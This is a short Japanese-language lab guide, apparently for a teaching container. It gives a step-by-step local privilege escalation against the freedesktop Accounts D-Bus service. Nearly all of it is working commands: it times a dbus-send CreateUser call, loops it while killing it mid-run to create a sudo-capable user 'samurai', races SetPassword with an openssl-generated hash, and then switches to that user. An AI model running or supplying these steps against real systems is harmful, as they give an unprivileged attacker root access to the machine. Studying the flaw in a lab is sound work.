
著者: Mark, Qingchen Yu コンテナをビルドするには
docker build -t <image tag of your choice> .
コンテナを実行するには
docker run -it <image tag name>
start.sh から始めます。
実行時間の測定: 'real' の時間をメモし、その半分を計算します。
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:samurai string:"Samurai" int32:1
sudo権限を持つユーザーの作成: プロセスを途中で中断したいため、X.XXX を上記の 'real' 時間の半分に置き換えます。 コマンドは10000回のループとして実行されます。 この手順は数回実行する必要があるかもしれません。
for counter in {1..10000}; do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:samurai string:"Samurai" int32:1 & sleep X.XXXs; kill $!;done
ユーザー作成の確認
id samurai
samurai ユーザーが存在し、その権限が表示されるはずです。表示されない場合は、手順2を再度実行してください。
パスワードハッシュの生成: この場合、パスワードは 'iamsamurai' になります。 生成されたハッシュをメモします。
openssl passwd -5 iamsamurai
新しいユーザーのパスワード設定: X.XXX をスリープ時間に置き換え、Password Hash を手順4のハッシュに置き換えます。UUUU は 'samurai' のユーザーIDに置き換えます。
for counter in {1..10000}; do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/UserUUUU org.freedesktop.Accounts.User.SetPassword string:'Password Hash' string:GoldenEye & sleep X.XXXs; kill $!;done
手順4で作成したパスワードを使って新しいユーザーに切り替えます。
su - samurai
これで、このユーザーで 'sudo' を使用できるはずです。